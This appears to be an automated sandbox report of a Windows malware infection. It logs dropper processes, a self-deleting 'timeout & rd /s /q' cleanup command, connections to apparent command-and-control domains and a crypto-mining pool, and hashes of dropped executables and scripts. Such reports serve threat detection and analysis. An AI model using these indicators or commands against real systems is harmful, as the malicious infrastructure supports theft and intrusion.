"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4764 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4816 -prefMapHandle 4812 -prefsLen 32844 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d0b9dc5e-e200-4e61-bb8f-1d2994397928} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" utility

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\6xl68" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 11

C:\Users\Admin\AppData\Local\Temp\10110490101\6074db2806.exe

"C:\Users\Admin\AppData\Local\Temp\10110490101\6074db2806.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5264 -childID 3 -isForBrowser -prefsHandle 5256 -prefMapHandle 5204 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7bfe95cd-1d47-411a-a9c5-43942be14f1e} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5420 -childID 4 -isForBrowser -prefsHandle 5496 -prefMapHandle 5492 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5facc1c4-d74c-4803-8024-3d7ad9c551ea} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5632 -childID 5 -isForBrowser -prefsHandle 5640 -prefMapHandle 5648 -prefsLen 27145 -prefMapSize 244658 -jsInitHandle 1348 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e285f33e-0217-41e6-9369-d9ced2bd4186} 5252 "\\.\pipe\gecko-crash-server-pipe.5252" tab

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Users\Admin\AppData\Local\Temp\10110500101\3ee3f2079f.exe

"C:\Users\Admin\AppData\Local\Temp\10110500101\3ee3f2079f.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 5268"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 150.171.27.10:443 g.bing.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
RU 176.113.115.6:80 176.113.115.6 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 8.8.8.8:53 avx.medianewsonline.com udp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
BG 185.176.43.98:80 avx.medianewsonline.com tcp
NL 45.144.212.77:16000 45.144.212.77 tcp
US 8.8.8.8:53 biochextryhub.bet udp
US 172.67.192.128:443 biochextryhub.bet tcp
US 172.67.192.128:443 biochextryhub.bet tcp
US 172.67.192.128:443 biochextryhub.bet tcp
US 172.67.192.128:443 biochextryhub.bet tcp
US 172.67.192.128:443 biochextryhub.bet tcp
US 172.67.192.128:443 biochextryhub.bet tcp
US 8.8.8.8:53 circujitstorm.bet udp
US 8.8.8.8:53 explorebieology.run udp
US 8.8.8.8:53 gadgethgfub.icu udp
US 8.8.8.8:53 moderzysics.top udp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
DE 5.75.210.149:443 tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.110.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 dawtastream.bet udp
US 8.8.8.8:53 foresctwhispers.top udp
US 8.8.8.8:53 tracnquilforest.life udp
US 8.8.8.8:53 collapimga.fun udp
US 8.8.8.8:53 seizedsentec.online udp
US 8.8.8.8:53 strawpeasaen.fun udp
US 8.8.8.8:53 quietswtreams.life udp
US 8.8.8.8:53 starrynsightsky.icu udp
US 8.8.8.8:53 earthsymphzony.today udp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 pastebin.com udp
US 104.20.3.235:443 pastebin.com tcp
US 8.8.8.8:53 cobolrationumelawrtewarms.com udp
NL 107.189.27.66:80 cobolrationumelawrtewarms.com tcp
US 8.8.8.8:53 dugong.ydns.eu udp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com tcp
US 8.8.8.8:53 ogads-pa.googleapis.com udp
US 8.8.8.8:53 apis.google.com udp
GB 216.58.201.106:443 ogads-pa.googleapis.com udp
GB 216.58.201.110:443 apis.google.com udp
GB 216.58.201.106:443 ogads-pa.googleapis.com tcp
US 8.8.8.8:53 play.google.com udp
GB 142.250.200.14:443 play.google.com udp
GB 142.250.200.14:443 play.google.com udp
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 ls.t.goldenloafuae.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 8.8.8.8:53 clients2.google.com udp
GB 142.250.180.14:443 clients2.google.com udp
GB 142.250.180.14:443 clients2.google.com tcp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 clients2.googleusercontent.com udp
GB 172.217.169.65:443 clients2.googleusercontent.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 8.8.8.8:53 e5.o.lencr.org udp
GB 104.86.110.200:80 e5.o.lencr.org tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 80.240.16.67:443 pool.hashvault.pro tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
N/A 127.0.0.1:9229 tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
N/A 127.0.0.1:9229 tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 20.42.73.29:443 nw-umwatson.events.data.microsoft.com tcp
RU 176.113.115.7:80 176.113.115.7 tcp
N/A 127.0.0.1:9229 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com udp
GB 216.58.201.106:443 ogads-pa.googleapis.com tcp
GB 216.58.201.106:443 ogads-pa.googleapis.com udp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
DE 38.180.229.217:80 dugong.ydns.eu tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 20.42.73.29:443 nw-umwatson.events.data.microsoft.com tcp
US 8.8.8.8:53 exarthynature.run udp
US 104.21.96.1:443 exarthynature.run tcp
US 104.21.96.1:443 exarthynature.run tcp
US 104.21.96.1:443 exarthynature.run tcp
US 104.21.96.1:443 exarthynature.run tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 104.21.96.1:443 exarthynature.run tcp
US 104.21.96.1:443 exarthynature.run tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 40.71.69.253:443 nw-umwatson.events.data.microsoft.com tcp
N/A 127.0.0.1:9229 tcp
N/A 127.0.0.1:9223 tcp
NL 185.156.73.73:80 185.156.73.73 tcp
US 8.8.8.8:53 dawtastream.bet udp
US 8.8.8.8:53 foresctwhispers.top udp
US 8.8.8.8:53 tracnquilforest.life udp
US 8.8.8.8:53 collapimga.fun udp
US 8.8.8.8:53 seizedsentec.online udp
US 8.8.8.8:53 strawpeasaen.fun udp
N/A 127.0.0.1:9223 tcp
US 8.8.8.8:53 quietswtreams.life udp
US 8.8.8.8:53 starrynsightsky.icu udp
US 8.8.8.8:53 earthsymphzony.today udp
US 8.8.8.8:53 steamcommunity.com udp
GB 23.214.143.155:443 steamcommunity.com tcp
US 8.8.8.8:53 farmingtzricks.top udp
US 104.21.24.225:443 farmingtzricks.top tcp
N/A 127.0.0.1:9229 tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
N/A 127.0.0.1:9223 tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 104.21.24.225:443 farmingtzricks.top tcp
US 8.8.8.8:53 croprojegies.run udp
US 104.21.32.1:443 croprojegies.run tcp
NL 185.156.73.73:80 185.156.73.73 tcp
US 8.8.8.8:53 nw-umwatson.events.data.microsoft.com udp
US 40.71.93.126:443 nw-umwatson.events.data.microsoft.com tcp
US 104.21.32.1:443 croprojegies.run tcp
RU 176.113.115.7:80 176.113.115.7 tcp
US 104.21.32.1:443 croprojegies.run tcp
US 104.21.32.1:443 croprojegies.run tcp
US 104.21.32.1:443 croprojegies.run tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 104.21.32.1:443 croprojegies.run tcp
N/A 127.0.0.1:9223 tcp
N/A 127.0.0.1:9223 tcp
RU 176.113.115.7:80 176.113.115.7 tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
RU 45.93.20.28:80 45.93.20.28 tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
N/A 127.0.0.1:60762 tcp
FI 95.217.27.252:443 ls.t.goldenloafuae.com tcp
US 8.8.8.8:53 youtube.com udp
GB 142.250.187.206:443 youtube.com tcp
GB 142.250.187.206:443 youtube.com tcp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 spocs.getpocket.com udp
US 8.8.8.8:53 firefox-api-proxy.cdn.mozilla.net udp
US 8.8.8.8:53 youtube.com udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.ads.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net udp
US 34.149.97.1:443 firefox-api-proxy-prod.pocket.prod.cloudops.mozgcp.net tcp
GB 142.250.187.206:443 youtube.com udp
US 8.8.8.8:53 www.youtube.com udp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
GB 142.250.200.14:443 www.youtube.com tcp
US 8.8.8.8:53 prod.content-signature-chains.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 youtube-ui.l.google.com udp
US 8.8.8.8:53 shavar.prod.mozaws.net udp
GB 142.250.200.14:443 www.youtube.com udp
N/A 127.0.0.1:60773 tcp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
GB 216.58.213.14:443 consent.youtube.com tcp
US 8.8.8.8:53 consent.youtube.com udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 consent.youtube.com udp
GB 216.58.213.14:443 consent.youtube.com udp
US 8.8.8.8:53 www.google.com udp
GB 216.58.204.68:443 www.google.com tcp
GB 216.58.204.68:443 www.google.com udp
US 8.8.8.8:53 www.google.com udp
US 8.8.8.8:53 www.google.com udp
NL 107.189.27.66:80 cobolrationumelawrtewarms.com tcp
US 8.8.8.8:53 gadgethgfub.icu udp
US 8.8.8.8:53 explorebieology.run udp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 172.67.189.66:443 moderzysics.top tcp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.balrog.prod.cloudops.mozgcp.net udp
US 8.8.8.8:53 prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 ciscobinary.openh264.org udp
FR 23.200.87.12:80 ciscobinary.openh264.org tcp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 a19.dscg10.akamai.net udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 172.217.16.238:443 redirector.gvt1.com tcp
US 8.8.8.8:53 redirector.gvt1.com udp
US 8.8.8.8:53 redirector.gvt1.com udp
GB 172.217.16.238:443 redirector.gvt1.com udp
US 8.8.8.8:53 r2---sn-aigl6ns6.gvt1.com udp
GB 74.125.105.7:443 r2---sn-aigl6ns6.gvt1.com tcp
US 8.8.8.8:53 r2.sn-aigl6ns6.gvt1.com udp
US 8.8.8.8:53 r2.sn-aigl6ns6.gvt1.com udp
GB 74.125.105.7:443 r2.sn-aigl6ns6.gvt1.com udp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 34.107.152.202:443 firefox-settings-attachments.cdn.mozilla.net tcp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp
US 8.8.8.8:53 attachments.prod.remote-settings.prod.webservices.mozgcp.net udp

Files

C:\Users\Admin\AppData\Local\Temp\JMz1DFpdy.hta

MD5 8fc2c683a17caa5ed1b8df6bd40f4134
SHA1 086b15f805141c53320cedd4c1ed9f5f0fa1ab98
SHA256 bfa87608ad6083fd82744d8bc2a4ad9de2d9400f7334da2f78236669d140b0e6
SHA512 d34cfcff3578099d65c3f0ed8281a60c61705631296f296a007d835e5040d43bb9a195d011471a8078be22c48db785b94ceb531bf9b4d72fd8c086ae122fe796

memory/3180-2-0x0000000002C60000-0x0000000002C96000-memory.dmp

memory/3180-3-0x0000000005840000-0x0000000005E68000-memory.dmp

memory/3180-4-0x00000000056E0000-0x0000000005702000-memory.dmp

memory/3180-5-0x0000000005EE0000-0x0000000005F46000-memory.dmp

memory/3180-6-0x0000000005F50000-0x0000000005FB6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yq5d20rw.js2.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3180-16-0x0000000005FC0000-0x0000000006314000-memory.dmp

memory/3180-18-0x00000000065D0000-0x000000000661C000-memory.dmp

memory/3180-17-0x0000000006580000-0x000000000659E000-memory.dmp

memory/3180-19-0x0000000007EC0000-0x000000000853A000-memory.dmp

memory/3180-20-0x0000000006AD0000-0x0000000006AEA000-memory.dmp

memory/3180-22-0x0000000007AE0000-0x0000000007B76000-memory.dmp

memory/3180-23-0x0000000007A70000-0x0000000007A92000-memory.dmp

memory/3180-24-0x0000000008AF0000-0x0000000009094000-memory.dmp

C:\Users\Admin\AppData\Local\TempYEZMN7OOVFMDRMDQK1MLWZELATLPTRR9.EXE

MD5 11514677efdc49728bb951849b66217e
SHA1 f97f648487c3880e206a6f0aeaf8cbf65368992f
SHA256 309dcfe1a88c958d3f5bf4e41fd74e08df9acf9a34b54d45c01da8dc59eb55ff
SHA512 2dd09589d5484a0623ee03b3b0f4fb43e9025c6c58350b41839d77147f9aee59064d8ee64ded8dcad33c59ed551f240e12b0cd202d24c7467857576bff6a9516

memory/1680-31-0x0000000000980000-0x0000000000E34000-memory.dmp

memory/4624-47-0x00000000001B0000-0x0000000000664000-memory.dmp

memory/1680-45-0x0000000000980000-0x0000000000E34000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110190101\zY9sqWs.exe

MD5 35ed5fa7bd91bb892c13551512cf2062
SHA1 20a1fa4d9de4fe1a5ad6f7cdd63c1f2dee34d12c
SHA256 1e6929de62071a495e46a9d1afcdf6ec1486867a220457aacfdfa5a6b6ff5df4
SHA512 6b8acda217f82bd4b2519bc089f05cfbdff654b2556db378cf8344972de33d63c11f4713b2b342b3cb6e333c59517448995c33d739f72fdf00e8a81d46bd8483

memory/1680-63-0x0000000000980000-0x0000000000E34000-memory.dmp

memory/4624-64-0x00000000001B0000-0x0000000000664000-memory.dmp

memory/4624-65-0x00000000001B0000-0x0000000000664000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110200101\PcAIvJ0.exe

MD5 5b3ed060facb9d57d8d0539084686870
SHA1 9cae8c44e44605d02902c29519ea4700b4906c76
SHA256 7c711ab33a034ed733b18b76a0154c56065c74a9481cbd0e4f65aa2b03c8a207
SHA512 6733ae1c74c759031fb2de99beb938f94fc77ed8cc3b42b2b1d24a597f9e74eeab5289f801407619485f81fccaa55546344773e9a71b40b1af6b3c767b69e71a

C:\Users\Admin\AppData\Local\Temp\F731.tmp\F732.tmp\F733.bat

MD5 3895cb9413357f87a88c047ae0d0bd40
SHA1 227404dd0f7d7d3ea9601eecd705effe052a6c91
SHA256 8140df06ebcda4d8b85bb00c3c0910efc14b75e53e7a1e4f7b6fa515e4164785
SHA512 a886081127b4888279aba9b86aa50a74d044489cf43819c1dea793a410e39a62413ceb7866f387407327b348341b2ff03cbe2430c57628a5e5402447d3070ca1

memory/1104-82-0x0000019824430000-0x0000019824452000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb9c3338272320e54006a759d029a785
SHA1 b4ab72b68fa6b017205549bc5a33ac2e0fd6c19b
SHA256 69374148a5b5aecb5af4fa1c3f0ca39a6c5463234af8cee2dd2208de6b6e4c8f
SHA512 4b4775fc27b7b029c3bebbf41147e8860a0142b75bd9d0f117daf4cb7a105586b16c029b121de25c31d477cb5065214567106c11ca206fe585b3ffc4725ff400

C:\Users\Admin\AppData\Local\Temp\10110210101\v6Oqdnc.exe

MD5 6006ae409307acc35ca6d0926b0f8685
SHA1 abd6c5a44730270ae9f2fce698c0f5d2594eac2f
SHA256 a5fa1579a8c1a1d4e89221619d037b6f8275f34546ed44a020f5dfcee3710f0b
SHA512 b2c47b02c972f63915e2e45bb83814c7706b392f55ad6144edb354c7ee309768a38528af7fa7aeadb5b05638c0fd55faa734212d3a657cd08b7500838135e718

memory/3572-107-0x0000000000100000-0x000000000059B000-memory.dmp

memory/4624-108-0x00000000001B0000-0x0000000000664000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110220101\MCxU5Fj.exe

MD5 641525fe17d5e9d483988eff400ad129
SHA1 8104fa08cfcc9066df3d16bfa1ebe119668c9097
SHA256 7a87b801af709e8e510140f0f9523057793e7883ec2b6a4eab90fcf0ec20fd4a
SHA512 ee92bc34e21bb68aeda20b237e8b8e27f95e4cc44f5fd9743b52079c40f193cc342f8bb2690fd7ab3624e1690979118bd2e00a46bda3052cbd76bc379b87407e

memory/3780-126-0x0000000000F80000-0x0000000000FF0000-memory.dmp

memory/4876-131-0x0000000000400000-0x0000000000466000-memory.dmp

memory/4876-128-0x0000000000400000-0x0000000000466000-memory.dmp

memory/3572-133-0x0000000000100000-0x000000000059B000-memory.dmp

memory/4876-136-0x0000000003B20000-0x0000000003B25000-memory.dmp

memory/4876-137-0x0000000003B20000-0x0000000003B25000-memory.dmp

memory/4876-135-0x0000000000400000-0x0000000000466000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110240101\mAtJWNv.exe

MD5 b60779fb424958088a559fdfd6f535c2
SHA1 bcea427b20d2f55c6372772668c1d6818c7328c9
SHA256 098c4fe0de1df5b46cf4c825e8eba1893138c751968fcf9fe009a6991e9b1221
SHA512 c17a7781790326579669c2b9ad6f7f9764cf51f44ad11642d268b077ade186563ae53fc5e6e84eb7f563021db00bef9ebd65a8d3fbe7a73e85f70a4caa7d8a7f

memory/5024-155-0x0000000000980000-0x00000000009E0000-memory.dmp

memory/5060-157-0x0000000000400000-0x0000000000429000-memory.dmp

memory/5060-159-0x0000000000400000-0x0000000000429000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 fb69a897da24ac74c2ae90ff3fc2ca23
SHA1 c682a0366ecd6631cad01cfe8f10e198da9a3e9a
SHA256 8ec36cc1e4ec619067e4781269afd4a68ba2490fb859eded484b731723c15661
SHA512 d2ee9b6843c726bc3c9ca807214177f1109f8354a4ed83e3f9577ebc223f260a5a6f7bbe71630f9b98c9f585fe7e6a216204aa7aa952967f4e0f59bd47fe599a

C:\Users\Admin\AppData\Local\Temp\installer.ps1

MD5 b6d611af4bea8eaaa639bbf024eb0e2d
SHA1 0b1205546fd80407d85c9bfbed5ff69d00645744
SHA256 8cd3bf95cedcf3469d0044976c66cbf22cd2fecf21ae4f94986d7211d6ba9a2b
SHA512 d8a4ec5bd986884959db3edfd48e2bf4c70ead436f81eab73b104aa0ff0f5dadfb6227cb2dab1f979f0dbb3aafbc1889ed571fb6e9444a09ae984b789314463d

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 4b7d83344ba024ab6c450140fd99baa0
SHA1 00045c7fc909858f5d185adc9b2d1f3eaf2fc7d8
SHA256 73da2dc85769187dd885659063ae31ba9108831eafc41ee17a30026135741afe
SHA512 5dc413d4fdf6eed878e5627be720e29c4aa81219c8065421bc2967d45cacffab92d9b8f8a008a7921aa582aad7a106d4b68aaf6ed410dcfffb65fd8d75fbbfc9

\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.cmdline

MD5 ee69fc61996c295451a3bc8231bbc2d7
SHA1 0be337cdabf0baa2620d5c3a1921c43ef88e9976
SHA256 c2d3065c0d793bb86744b0daf659e3c5ceccd0bddcbdb136a504e897f30221c0
SHA512 ff8d57089f183bfc447d49482a45ba8acd941528fbb1eec1393bcf0dc62cad227e465d8b0768793eb3c7706124aa7178dbc6c52d18d5f7fc30b254016d0f4b3b

\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.0.cs

MD5 1809fe3ba081f587330273428ec09c9c
SHA1 d24ea2ea868ae49f46c8a7d894b7fda255ec1cd9
SHA256 d07a0c5fdf0862325608791f92273e0fc411c294f94d757f1ff0303ba5e03457
SHA512 e662420fc93a5cefd657f7701432924e6a06482ea147ad814d5e20b16b2f3c13ed2cc6b9caf24c22b7a5b24ad0aa1d216c5804c46d2250522cfc2cadc69f9e28

\??\c:\Users\Admin\AppData\Local\Temp\okp0pabk\CSC1DD6C90F8C8346CD93C5DBF57293994.TMP

MD5 f7310bd1747627998612a5706e14e448
SHA1 3bf9a4df295d6864182944e12132fbd7e46b6456
SHA256 c752fe9e755930f0ff7a675ecac8d6f9fa2192e583292c44d9a926a6bc7d7fb9
SHA512 f654226c3f8e8f15ca8e057b7e6191cba60c924b38537e1b1ba7a128af67115b8dc56412537851bc1b757f21dd8767873fa9c59e876105f50e6d7c2e0ba21a27

C:\Users\Admin\AppData\Local\Temp\RES4198.tmp

MD5 e55b318dd5e37c36823022b571a0087c
SHA1 6f8e5c1c80a50a66b3a0a0952b6fb0355c7728a7
SHA256 58fee05a22a064422adfb927e41dc5daaa684f0492a33a5eda51449a8e67cb0c
SHA512 e0183bc39f9a652ad308e8cbe5c32b8b8063711a458354092cda5ebdac13164a847cdd7e5ef911fca30d5c6acef22d704b74d4e568f4db3362290f73a269a3d2

C:\Users\Admin\AppData\Local\Temp\okp0pabk\okp0pabk.dll

MD5 2a23cf6e2dda6c3becce9b27e8df09ad
SHA1 11453617eb631604f7840f125b8c2fe5645ad53f
SHA256 2f13d8953c550e25a6a66540b2c1cd044bc9f30e275d7d6154728eb7dd95e9ff
SHA512 bd42d75462704fab9a702b4b2af7208d966e27f464d0921753403c828f787accdfab8e3da554157eb22c45756058d79acbbf4c0793bd37c93bc14cc0c898c256

memory/1404-188-0x000001FA64110000-0x000001FA64118000-memory.dmp

memory/3552-190-0x000000000CEE0000-0x000000000D763000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110250101\FvbuInU.exe

MD5 f155a51c9042254e5e3d7734cd1c3ab0
SHA1 9d6da9f8155b47bdba186be81fb5e9f3fae00ccf
SHA256 560c7869df511c5ea54f20be704bbda02e1623d0867333a90ac3783d29eae7af
SHA512 67ec5546d96e83a3c6f4197a50812f585b96b4f34a2b8d77503b51cddd4ea5a65d5416c3efc427a5e58119fa068125987e336efb2dfd5811fe59145aa5f5bd6a

memory/4624-195-0x00000000001B0000-0x0000000000664000-memory.dmp

memory/1788-212-0x0000000000900000-0x0000000000DA1000-memory.dmp

memory/1788-213-0x0000000000900000-0x0000000000DA1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe

MD5 a9749ee52eefb0fd48a66527095354bb
SHA1 78170bcc54e1f774528dea3118b50ffc46064fe0
SHA256 b1663d4497ddd27a59f090b72adcedddac51724a1c126f7d6469f8045d065e15
SHA512 9d21f0e1e376b89df717403a3939ed86ef61095bb9f0167ff15c01d3bbbee03d4dd01b3e2769ecd921e40e43bab3cbf0a6844ab6f296982227b0cb507b4b0e25

memory/4624-239-0x00000000001B0000-0x0000000000664000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe

MD5 f0ad59c5e3eb8da5cbbf9c731371941c
SHA1 171030104a6c498d7d5b4fce15db04d1053b1c29
SHA256 cda1bd2378835d92b53fca1f433da176f25356474baddacdd3cf333189961a19
SHA512 24c1bf55be8c53122218631dd90bf32e1407abb4b853014f60bac1886d14565985e9dea2f0c3974e463bd52385e039c245fffb9f7527b207f090685b9bede488

memory/3656-254-0x0000000000B70000-0x000000000126E000-memory.dmp

memory/3656-255-0x0000000061E00000-0x0000000061EF3000-memory.dmp

\??\pipe\crashpad_1708_SHHWFUGJDHFIXYOE

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\AppData\Local\Temp\scoped_dir1708_193832603\d494c835-e54b-47f0-bc46-013138493978.tmp

MD5 eae462c55eba847a1a8b58e58976b253
SHA1 4d7c9d59d6ae64eb852bd60b48c161125c820673
